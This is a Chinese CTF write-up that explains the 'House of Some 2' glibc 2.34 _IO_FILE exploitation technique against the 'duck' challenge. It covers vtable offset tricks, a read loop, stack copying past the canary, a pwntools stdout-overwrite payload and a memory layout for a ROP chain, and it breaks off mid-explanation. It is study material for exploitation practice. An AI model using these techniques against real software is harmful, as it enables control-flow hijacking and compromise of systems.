这篇继续libc-2.34
的_IO_FILE
利用,讲一下在_IO_file_jumps
不可写的时候应该怎么打,还是以上次的duck
为例
题目:https://www.nssctf.cn/problem/2388
调试的libc
:https://ftp.gnu.org/gnu/libc/glibc-2.34.tar.gz
回顾与各种House·
上次的笔记vol.3 说到,在libc-2.34
(或者更高版本的libc
)中已经不能用free_hook
去做控制流劫持,新的利用方法是去打_IO_FILE
在笔记vol.3 的最后说到,因为题目duck
的_IO_file_jumps
是可写的,所以可以修改_IO_file_jumps
的__overflow
指针为想要调用的函数,然后调用puts
函数触发_IO_OVERFLOW
,最终劫持控制流
但正常情况下,_IO_file_jumps
是一个const
变量,即不可写的变量,所以只是因为出题人故意降低难度才能用这样的方法
而且因为IO_validate_vtable
的检查存在,所以也不能去把vtable
指向我伪造的_IO_jump_t
结构体
那么该怎么打呢,网上搜以下可以找到各种奇奇怪怪的House
,这里列举几个比较新/出名的
其中House of apple 1~3
和house of some 1
都是用的exit
的链(他们介绍中是这样说的,至于能不能转到别的入口就有空再研究一下,留个坑),而house of some 2
用的是puts
的链
根据上次的分析,因为题目的程序不会退出,所以就不适合用exit
的链,于是下面就讲一下怎么用house of some 2
去打吧
House of Some 2·
先来讲讲理论部分,在 @Csome 的博客 上面也有挺详细的介绍了,这里复述一下
Part.1 一切的入口·
先来看看_IO_wfile_underflow_maybe_mmap
这个函数,在libio/wfileops.c
中
1 2 3 4 5 6 7 8 9 10 11 static wint_t _IO_wfile_underflow_maybe_mmap (FILE *fp) { if (_IO_file_underflow_maybe_mmap (fp) == EOF) return WEOF; return _IO_WUNDERFLOW (fp); }
调用了_IO_file_underflow_maybe_mmap
和_IO_WUNDERFLOW
追进_IO_file_underflow_maybe_mmap
,在libio/fileops.c
中
1 2 3 4 5 6 7 8 int _IO_file_underflow_maybe_mmap (FILE *fp) { decide_maybe_mmap (fp); return _IO_UNDERFLOW (fp); }
调用了decide_maybe_mmap
和_IO_UNDERFLOW
继续追进decide_maybe_mmap
,在libio/fileops.c
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 static void decide_maybe_mmap (FILE *fp) { struct __stat64_t64 st ; if (_IO_SYSSTAT (fp, &st) == 0 && S_ISREG (st.st_mode) && st.st_size != 0 && (sizeof (ptrdiff_t ) > 4 || st.st_size < 1 *1024 *1024 ) && (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size)) { void *p; p = __mmap64 (NULL , st.st_size, PROT_READ, MAP_SHARED, fp->_fileno, 0 ); if (p != MAP_FAILED) { if (__lseek64 (fp->_fileno, st.st_size, SEEK_SET) != st.st_size) { (void ) __munmap (p, st.st_size); fp->_offset = _IO_pos_BAD; } else { _IO_setb (fp, p, (char *) p + st.st_size, 0 ); if (fp->_offset == _IO_pos_BAD) fp->_offset = 0 ; _IO_setg (fp, p, p + fp->_offset, p + st.st_size); fp->_offset = st.st_size; if (fp->_mode <= 0 ) _IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps_mmap; else _IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps_mmap; fp->_wide_data->_wide_vtable = &_IO_wfile_jumps_mmap; return ; } } } if (fp->_mode <= 0 ) _IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps; else _IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps; fp->_wide_data->_wide_vtable = &_IO_wfile_jumps; }
重点关注中间调用了_IO_SYSSTAT (fp, &st)
,还有最后几步做了vtable
和_wide_vtable
的恢复,把vtable
恢复为_IO_file_jumps
,把_wide_vtable
恢复为_IO_wfile_jumps
_IO_SYSSTAT (fp, &st)
是一个很特别的调用,因为st
是一个栈上的参数,所以&st
相当于把一个栈上的地址作为入参传给_IO_SYSSTAT
,这样就有机会通过_IO_SYSSTAT
指向的函数泄露栈地址,或者控制栈
先来把以上这些串起来,会得到这样的几层调用
1 2 3 4 5 6 7 _IO_wfile_underflow_maybe_mmap (FILE *fp) > _IO_file_underflow_maybe_mmap (fp) ==> decide_maybe_mmap (fp) ====> _IO_SYSSTAT (fp, &st) ====> ==> _IO_UNDERFLOW (fp) > _IO_WUNDERFLOW (fp)
这里从上帝视角来看一下,我假设_IO_SYSSTAT (fp, &st)
一定可以打成功,那么就需要通过puts
函数调用_IO_wfile_underflow_maybe_mmap
参考笔记vol.3 ,puts
函数里面会通过stdout
调用_IO_file_jumps
的_IO_sputn
再来看看_IO_wfile_underflow_maybe_mmap
所在的_IO_jump_t
结构,是libio/wfileops.c:1073
的_IO_wfile_underflow_maybe_mmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_wfile_jumps_maybe_mmap libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow_maybe_mmap), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_file_setbuf_mmap), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
观察可得,上面的underflow
和xsputn
相差了3
个指针,在64
位的机器中,一个指针是8
字节,也就是相差了0x18
个字节
所以这里如果我要用puts
去调用_IO_wfile_underflow_maybe_mmap
的话,可以把stdout
的vtable
指向&_IO_wfile_jumps_maybe_mmap - 0x18
,这样stdout.vtable->__xsputn
就会指向_IO_wfile_jumps_maybe_mmap->__underflow
,也就是_IO_wfile_underflow_maybe_mmap
1 stdout .vtable = &_IO_wfile_jumps_maybe_mmap - 0x18
而且&_IO_wfile_jumps_maybe_mmap - 0x18
是一个合法的地址,可以通过IO_validate_vtable
的检查
Part.2 利用_IO_SYSREAD实现循环调用·
先看一下这样修改后会发生什么事
在把stdout
的vtable
改成&_IO_wfile_jumps_maybe_mmap - 0x18
后,原来的stat
也会跟着偏移,变成write
,也就是会调用_IO_new_file_write
,可以直接把这东西看成是write
函数,fd
是stdout
的_fileno
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ssize_t _IO_new_file_write (FILE *f, const void *data, ssize_t n) { ssize_t to_do = n; while (to_do > 0 ) { ssize_t count = (__builtin_expect (f->_flags2 & _IO_FLAGS2_NOTCANCEL, 0 ) ? __write_nocancel (f->_fileno, data, to_do) : __write (f->_fileno, data, to_do)); if (count < 0 ) { f->_flags |= _IO_ERR_SEEN; break ; } to_do -= count; data = (void *) ((char *) data + count); } n -= to_do; if (f->_offset >= 0 ) f->_offset += n; return n; }
然后在decide_maybe_mmap
的最后会恢复vtable
和_wide_vtable
,也就是说_IO_UNDERFLOW
就是调用的是_IO_file_jumps
的_IO_file_underflow
,_IO_WUNDERFLOW
调用的是_IO_wfile_jumps
的_IO_wfile_underflow
那么理论上原来的几层调用就会变成
1 2 3 4 5 6 7 8 _IO_puts (const char *str) >_IO_wfile_underflow_maybe_mmap (stdout ) ==> _IO_file_underflow_maybe_mmap (stdout ) ====> decide_maybe_mmap (stdout ) ======> write (stdout .file._fileno, &st, ??) ======> ====> _IO_file_underflow (stdout ) ==> _IO_wfile_underflow (stdout )
这里因为原来的_IO_SYSSTAT (fp, &st)
只有两个参数,所以write
的第三个参数(也就是write
的大小)大概率会不可控,但这里先不管这个
先来看看_IO_file_underflow
干了什么,在libio/fileops.c:460
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 int _IO_new_file_underflow (FILE *fp) { ssize_t count; if (fp->_flags & _IO_EOF_SEEN) return EOF; if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL ) { if (fp->_IO_save_base != NULL ) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { _IO_acquire_lock (stdout ); if ((stdout ->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (stdout , EOF); _IO_release_lock (stdout ); } _IO_switch_to_get_mode (fp); fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0 ) { if (count == 0 ) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0 ; } fp->_IO_read_end += count; if (count == 0 ) { fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr; } libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
挺长的,重点关注中间调用了
1 count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
也就是_IO_file_jumps
的_IO_file_read
1 2 3 4 5 6 7 8 ssize_t _IO_file_read (FILE *fp, void *buf, ssize_t size) { return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0 ) ? __read_nocancel (fp->_fileno, buf, size) : __read (fp->_fileno, buf, size)); } libc_hidden_def (_IO_file_read)
大概可以理解为调用了read
函数,fd
是stdout
的_fileno
1 read(stdout .file._fileno, stdout .file._IO_buf_base, stdout .file._IO_buf_end - stdout .file._IO_buf_base)
因为前面的uaf
可以控制stdout.file
,所以这三个参数都能控制,所以就可以往任意地方写东西
1 2 3 stdout .file._fileno = 0 stdout .file._IO_buf_base = &bufstdout .file._IO_buf_end = &buf + n
就可以调用
问题是,写什么呢
如果 在前面的write (stdout.file._fileno, &st, ??)
中,第三个参数足够大的话,就有可能泄露栈地址,这样的话就可以往栈上写rop
,实现栈溢出
但到这里rdx
的概率其实挺小的,实际测试也不大,就是不能泄露栈的地址
继续观察,在后面还有一个_IO_WUNDERFLOW (fp)
的调用,那么如果让_IO_SYSREAD
再一次去写stdout
,只要长度足够,就可以写三样东西:
stdout.file
的各个参数,用来修改入参和绕过各种条件
stdout.file
的struct _IO_wide_data *_wide_data
,把这个指针指向伪造的struct _IO_wide_data
结构,就可以改_IO_WIDE_JUMPS
对应的_wide_vtable
stdout
的vtable
,这个先接着往下看
首先修改stdout.file._wide_data->_wide_vtable
,就可以让_IO_WUNDERFLOW
去调用任意函数,struct _IO_wide_data
的定义在libio/libio.h
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable ; }; #define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS) #define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define WJUMP2(FUNC, THIS, X1, X2) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) #define WJUMP3(FUNC, THIS, X1,X2,X3) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
PS:有一点小细节是,_IO_WIDE_JUMPS_FUNC
并不像_IO_JUMPS_FUNC
那样有IO_validate_vtable
的检查,所以其实可以把_wide_vtable
指向我自己伪造的_IO_jump_t
结构,但 @CSOME 的意思是,未来这个检查可能会被修复,所以下面就假设_IO_WIDE_JUMPS_FUNC
也会有检查来打
到这里我还是想去打_IO_SYSSTAT (fp, &st)
,而要继续触发这个的话,就只能把_IO_WUNDERFLOW
指回_IO_wfile_underflow_maybe_mmap
,也就相当于设置
1 stdout .file._wide_data->_wide_vtable = &_IO_wfile_jumps_maybe_mmap
那么调用就会变成
1 2 3 4 5 6 7 8 9 _IO_puts (const char *str) >_IO_wfile_underflow_maybe_mmap (stdout ) ==> _IO_file_underflow_maybe_mmap (stdout ) ====> decide_maybe_mmap (stdout ) ======> write (stdout .file._fileno, &st, ??) ======> ====> _IO_file_underflow (stdout ) ======> read(0 , &_IO_2_1_stdout_, n) ==> _IO_wfile_underflow_maybe_mmap (stdout )
相当于实现了一个循环调用
Part.3 利用_IO_SYSSTAT调用任意vtable函数·
再来看看修改vtable
可以怎么利用
在上面形成循环后,就可以嵌套
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 _IO_puts (const char *str) > _IO_wfile_underflow_maybe_mmap (stdout ) ==> _IO_file_underflow_maybe_mmap (stdout ) ====> decide_maybe_mmap (stdout ) ======> write (stdout .file._fileno, &st, ??) ======> ====> _IO_file_underflow (stdout ) ======> read(0 , &_IO_2_1_stdout_, n0) ==> _IO_wfile_underflow_maybe_mmap (stdout ) ====> _IO_file_underflow_maybe_mmap (stdout ) ======> decide_maybe_mmap (stdout ) ========> _IO_SYSSTAT (stdout , &st, ??) ========> ======> _IO_file_underflow (stdout ) ========> read(0 , &_IO_2_1_stdout_, n1) ====> _IO_wfile_underflow_maybe_mmap (stdout )
也就是通过修改vtable
,可以让其中的_IO_SYSSTAT
调用任意_IO_jump_t
结构的函数
这里先举个栗子 ,假设我想通过read
去覆盖&st
之后栈上的返回地址,那么我就可以让_IO_SYSSTAT
指向_IO_file_read
,也就是
1 stdout .vtable = &_IO_file_jumps - 0x20
那么上面的_IO_SYSSTAT (stdout, &st, ??)
就是调用
1 _IO_file_read(stdout , &st, ??)
在里面也就会调用
1 read(stdout .file._fileno, &st, ??)
到这里有个比较麻烦的事是,read
函数有三个参数,而正常的_IO_SYSSTAT
只有两个参数,所以这里的第三个参数,也就是写的字节长度并不能控制
于是 @CSOME 就做了个假设 ,还记得在入口的时候做了一次
1 read(0 , &_IO_2_1_stdout_, n)
这里的第三个参数是可以控制的
1 n = stdout .file._IO_buf_end - stdout .file._IO_buf_base
那么假设 在这次read
到我第一次循环中调用_IO_SYSSTAT
的时候,寄存器rdx
都没有被动过的话,呢么到我调用_IO_SYSSTAT
的时候,rdx
都还是这个n
,也就可以控制第三个参数,相当于调用了
1 _IO_SYSSTAT (stdout , &st, n)
这是一个挺强的假设,因为rdx
是一个挺常用的寄存器,但按照 @CSOME 的说法,高版本的libc
为了提高rop
的难度,会减少rdx
寄存器的使用
额,暂时就信他一下吧,反正我用题目的给的libc
是打不通的
自己编译的libc
的话,优化至少要开到O3
以上才能打(看偏移估计题目给的是O2
),O2
以下都会有一个绕不过的地方把rdx
改成不可利用的值,这个后面讲题目的时候再说
Part.4 绕过Canary·
即使假设rdx
可以被控制,这里也还有一个问题,就是覆盖&st
之后栈上的返回地址时,并不知道canary
而且这里也不能通过write
之类的函数去泄露canary
,因为在这个循环中需要设置
这样才能保证能够进入下一次循环,也就是在泄露canary
后再去用read
覆盖栈
而调用write
输出的话需要_fileno = 1
PS:我自己编译的libc
上好像并没有canary
的这个东西,原理未明,不知道是不是跟编译参数有关,如果题目给的libc
也没有的话,这里就可以直接用read
去打,下面讲的时有canary
的情况
于是鬼才 @Csome 就搞了个用_IO_default_xsputn
和_IO_default_xsgetn
移栈的方法
_IO_default_xsputn·
先来看看_IO_default_xsputn
函数,在libio/strops.c
的_IO_str_jumps
和libio/opvsprintf.c
的_IO_str_chk_jumps
中被用到,定义在libio/genops.c
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 size_t _IO_default_xsputn (FILE *f, const void *data, size_t n) { const char *s = (char *) data; size_t more = n; if (more <= 0 ) return 0 ; for (;;) { if (f->_IO_write_ptr < f->_IO_write_end) { size_t count = f->_IO_write_end - f->_IO_write_ptr; if (count > more) count = more; if (count > 20 ) { f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; } else if (count) { char *p = f->_IO_write_ptr; ssize_t i; for (i = count; --i >= 0 ; ) *p++ = *s++; f->_IO_write_ptr = p; } more -= count; } if (more == 0 || _IO_OVERFLOW (f, (unsigned char ) *s++) == EOF) break ; more--; } return n - more; } libc_hidden_def (_IO_default_xsputn)
主要关注其中的
1 __mempcpy (f->_IO_write_ptr, s, count)
如果能到这里也就能实现
1 mempcpy(stdout .file._IO_write_ptr, &st, stdout .file._IO_write_end - stdout .file._IO_write_ptr)
也就是可以把&st
的stdout.file._IO_write_end- stdout.file._IO_write_ptr
个字节复制到stdout.file._IO_write_ptr
指向的地方
于是就可以实现把栈复制到一个我指定的地方
接着往下看,有一个
1 if (more == 0 || _IO_OVERFLOW (f, (unsigned char ) *s++) == EOF)
这里因为stdout
的vtable
已经被改过,所以_IO_OVERFLOW
其实并不是_IO_file_overflow
,就有可能会崩
先看能不能让more == 0
为真,把后面的截断
看一下这里more = rdx
、more - count == 0
,其实就是要
1 count = stdout .file._IO_write_end - stdout .file._IO_write_ptr == rdx
rdx
即_IO_default_xsputn
的第三个参数,如果通过让_IO_SYSSTAT
指向_IO_default_xsputn
的方式来调用的话,那么根据上面的假设,就是上一次的stdout.file._IO_buf_end - stdout.file._IO_buf_base
也就是这次调用_IO_SYSSTAT
的stdout.file._IO_write_end - stdout.file._IO_write_ptr
等于上一次调用_IO_SYSSTAT
的stdout.file._IO_buf_end - stdout.file._IO_buf_base
就可以绕过这里的if
条件
_IO_default_xsgetn·
_IO_default_xsgetn
差不多是_IO_default_xsputn
的逆操作,先看源码,也在libio/genops.c
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 size_t _IO_default_xsgetn (FILE *fp, void *data, size_t n) { size_t more = n; char *s = (char *) data; for (;;) { if (fp->_IO_read_ptr < fp->_IO_read_end) { size_t count = fp->_IO_read_end - fp->_IO_read_ptr; if (count > more) count = more; if (count > 20 ) { s = __mempcpy (s, fp->_IO_read_ptr, count); fp->_IO_read_ptr += count; } else if (count) { char *p = fp->_IO_read_ptr; int i = (int ) count; while (--i >= 0 ) *s++ = *p++; fp->_IO_read_ptr = p; } more -= count; } if (more == 0 || __underflow (fp) == EOF) break ; } return n - more; } libc_hidden_def (_IO_default_xsgetn)
重点关注其中的
1 __mempcpy (s, fp->_IO_read_ptr, count)
到这里就相当于实现了
1 mempcpy(&st, stdout .file._IO_read_ptr, stdout .file._IO_read_end - stdout .file._IO_read_ptr)
也就是可以把stdout.file._IO_read_ptr
指向的stdout.file._IO_read_end - stdout.file._IO_read_ptr
个字节复制回&st
于是就可以把一段我指定的内容复制回栈上
同样这里也有一个__underflow
的调用可能需要绕过
1 if (more == 0 || __underflow (fp) == EOF)
也就可能需要
1 count = stdout .file._IO_read_end - stdout .file._IO_read_ptr = rdx
即这次调用_IO_SYSSTAT
的stdout.file._IO_read_end - stdout.file._IO_read_ptr
等于上一次调用_IO_SYSSTAT
的stdout.file._IO_buf_end - stdout.file._IO_buf_base
PS:这一步其实有一点不太完美的地方是要设置_IO_read_ptr
和_IO_read_end
,而在_IO_file_underflow
的_IO_SYSREAD
之前有一个这样的检查
1 2 if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr;
也就是如果要执行_IO_default_xsgetn
的话这个检查是绕不过去的,即不能在后面继续做循环
不过既然rop
都写上去了,结束循环也没啥问题
如何写栈·
把_IO_default_xsputn
和_IO_default_xsgetn
结合起来,就可以实现
通过_IO_default_xsputn
把&st
后面的内容复制到一个我可控的地方
在复制的栈上绕过canary
写返回地址,或者泄露canary
通过_IO_default_xsgetn
把修改后的栈复制回&st
那么调用就变成了两次循环,然后到rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 _IO_puts (const char *str) > _IO_wfile_underflow_maybe_mmap (stdout ) ==> _IO_file_underflow_maybe_mmap (stdout ) ====> decide_maybe_mmap (stdout ) ======> write (stdout .file._fileno, &st, ??) ======> ====> _IO_file_underflow (stdout ) ======> read(0 , &_IO_2_1_stdout_, n0) ==> _IO_wfile_underflow_maybe_mmap (stdout ) ====> _IO_file_underflow_maybe_mmap (stdout ) ======> decide_maybe_mmap (stdout ) ========> _IO_default_xsputn (stdout , &st, rdx) ==========> __mempcpy (_IO_write_ptr, &st, count) ========> ======> _IO_file_underflow (stdout ) ========> read(0 , &_IO_2_1_stdout_, n1) ====> _IO_wfile_underflow_maybe_mmap (stdout ) ======> _IO_file_underflow_maybe_mmap (stdout ) ========> decide_maybe_mmap (stdout ) ==========> _IO_default_xsgetn (stdout , &st, rdx) ============> __mempcpy (&sts, _IO_read_ptr, count) ==========> ========> _IO_file_underflow (stdout ) ==========> ========> ======> rop
duck(O3)·
理论是理论,实际打的话有些细节还是会不一样的
看回duck
这题,有几点和 @CSOME 说的条件不一样
这题的库是libc-2.34
,而不是libc-2.35
以上
这题的库是出题人自己编译的,而不是Ubuntu GLIBC 2.**
直接说结论的话,就是直接用题目的libc
打不了,如果自己用O3
以上优化编译一个libc
的话就可以打,但跟纯血的House of Some 2
会有差别
下面就说一下我在libc-2.34-O3
上打的时候会有什么差别,顺便说一下House of Some 2
的一些细节
首先给一个我编好的库:libc-2.34-debug-O3.zip
或者也可以自己编译,编译方法可以参考这里 ,编译命令(注意/path/to/glibc-2.34/x64
改成你自己的glibc-2.34/x64
位置)
1 2 3 4 5 6 7 8 mkdir build x64 cd build CC="gcc" CXX="g++" \ CFLAGS="-g -g3 -ggdb -gdwarf-4 -O3 -Wno-error" \ CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -O3 -Wno-error" \ ../configure --prefix=/path/to/glibc-2.34 /x64 --disable-werror make -j8 make install
Part.1 入口·
在笔记vol.3 中,已经实现了heap_base
和libc_base
的泄露,同时也可以往任意地址写0x100
个字节
那么按House of Some 2
的做法,之后应该要去写_IO_2_1_stdout_
,而 _IO_2_1_stdout_
的大小是0xe0
,所以刚好够写
接下来看看具体需要写什么
首先,我们需要让puts
函数进入_IO_wfile_underflow_maybe_mmap
,那么就是让_IO_XSPUTN
指向_IO_wfile_underflow_maybe_mmap
,即让_IO_2_1_stdout_
的vtable
指向&_IO_wfile_jumps_maybe_mmap - 0x18
然后进到decide_maybe_mmap
中,需要让以下if
条件为假
1 2 3 4 5 6 if (_IO_SYSSTAT (fp, &st) == 0 && S_ISREG (st.st_mode) && st.st_size != 0 && (sizeof (ptrdiff_t ) > 4 || st.st_size < 1 *1024 *1024 ) && (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size))
这让才能避免程序在if
中被return
,不然会跳过vtable
和_wide_vtable
的恢复
我自己测试,在_IO_SYSSTAT
被改掉的情况下这个if
是大概率不满足的,如果实在不行的话可以去设置(fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size)
为假
接着在恢复vtable
和_wide_vtable
时,需要让vtable
指向_IO_file_jumps
,所以需要设置_mode <= 0
1 2 3 4 5 if (fp->_mode <= 0 ) _IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps; else _IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps; fp->_wide_data->_wide_vtable = &_IO_wfile_jumps;
而且关注fp->_wide_data->_wide_vtable
这一句,需要_wide_data
指向一个可以写的地址,不然这句会报错
PS:这里也可以顺便把_wide_data
指向伪造的struct _IO_wide_data
结构,但这需要更大长度的任意写,这题的0x100
时不够的,而且后面一步也可以写,所以意义不大
最后在_IO_file_underflow
中调用read
时,需要_fileno
为0
1 2 count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
写的地址是_IO_2_1_stdout_
,所以_IO_buf_base
指向_IO_2_1_stdout_
写的长度是_IO_2_1_stdout_
和struct _IO_wide_data
结构的大小,即0x1c8
,所以_IO_buf_end
设置为_IO_buf_base + 0x1c8
参考的payload
:
1 2 3 4 5 6 7 8 9 10 11 12 payload1 = flat({ 0x00 : 0x8000 , 0x38 : libc_stdout, 0x40 : libc_stdout + 0x1c8 , 0x70 : 0 , 0xa0 : libc_stdout + 0x100 , 0xc0 : 0 , 0xd8 : libc_IO_wfile_jumps_maybe_mmap - 0x18 , }, filler=b"\x00" )
Part.2 第一次循环·
控制第一次循环的payload
在入口的read
中输入,下面看看要输入些啥
按照上面假设有canary
的话,第一次循环的目的是为了执行_IO_default_xsputn
先来说说用原来题目的libc
库时的一个问题,还记得在调用vtable
的函数时都会有一个IO_validate_vtable
检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr - (uintptr_t ) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
其中有一步是
1 uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables
在我自己编译libc
把优化开到O2
以下时,发现执行这一句的汇编都是
1 lea rdx, [rip + 0x170dd8]
这样rdx
就会被一个libc
的地址覆盖,在后面执行_IO_default_xsputn
和read
的时候就会出问题
看了下偏移,题目用的libc
估计是O2
优化,反正偏移跟我自己编的O2
是一样的
就不能用House of Some 2
去打了
下面就以我自己O3
编译的libc
为例子,看看要怎么打(上面给文件了,反正我也拿不到别的libc
了)
PS:Ofast
编译报错,懒得折腾了,逃
在O3
的libc
中并没有这一句汇编,所以IO_validate_vtable
并不会影响rdx
但是在_IO_SYSREAD
之后,执行到_IO_new_file_underflow
大概的
1 2 3 4 5 6 7 8 9 10 11 fp->_IO_read_end += count; if (count == 0 ) { fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count);
这个地方,有一句这样的汇编
也就是会把_offset
的值拿给rdx
虽然这跟纯血的House of Some 2
不太一样 ,但起码rdx
是可控的
PS:如果只关注纯血版本的后面就可以不用看了,不一样的
知道这些不同后就可以来看看payload
要怎么写了
首先算一下内存布局,上面的rdx
设置的是rop
的长度加上&st
到返回地址的偏移,调了一下,_IO_file_underflow_maybe_mmap
的返回地址在&st
的0xb8
之后
参考 @CSOME 的做法,我可以把&st
复制到_IO_2_1_stdout_
上方,这样我就可以在修改栈的时候把_IO_2_1_stdout_
也一起改了,也就是下面接的是_IO_2_1_stdout_
,其中_IO_2_1_stdout_
的大小是0xe0
,即struct _IO_FILE_plus
结构的大小
接着还需要伪造_IO_2_1_stdout_.file._wide_data
,即struct _IO_wide_data
结构,大小是0xe8
,我也直接抄的,写在_IO_2_1_stdout_
后面
PS:其实_wide_data
主要能写最后的_wide_vtable
就好了,可以省一点位置,但这里反正read
大小不限,能抄就直接抄了
也就是我想要的内存分布大概是
1 2 3 4 5 - count : copyed from &st - (count-0xb8) : retn 0x00 : _IO_2_1_stdout_ + 0xe0 : fake _IO_wide_data structure + 0x1c8 : end
然后看_IO_default_xsputn
,在函数的最后需要绕过干扰
1 if (more == 0 || _IO_OVERFLOW (f, (unsigned char ) *s++) == EOF)
根据之前分析,需要
1 count = _IO_write_end - _IO_write_ptr = rdx
再看在_IO_default_xsputn
里面我想要执行的是
1 mempcpy(_IO_write_ptr, &st, _IO_write_end - _IO_write_ptr)
这里需要复制rdx
个字节到&_IO_2_1_stdout_ - rdx
上,所以即
1 2 3 4 _offset = rdx _IO_write_ptr = &_IO_2_1_stdout_ - rdx _IO_write_end = _IO_write_ptr + rdx = &_IO_2_1_stdout_
接着看_wide_data
,这里直接把其中的_wide_vtable
设置成libc_IO_wfile_jumps_maybe_mmap
就好,其他的好像都无所谓
最后剩下的和入口的payload
差不多
需要注意的是,我要read
的地址是retn
的位置,即_IO_file_underflow_maybe_mmap
函数返回地址的位置,也即&_IO_2_1_stdout_ - rdx + 0xb8
,read
大小是0x1c8 - (rdx - 0xb8)
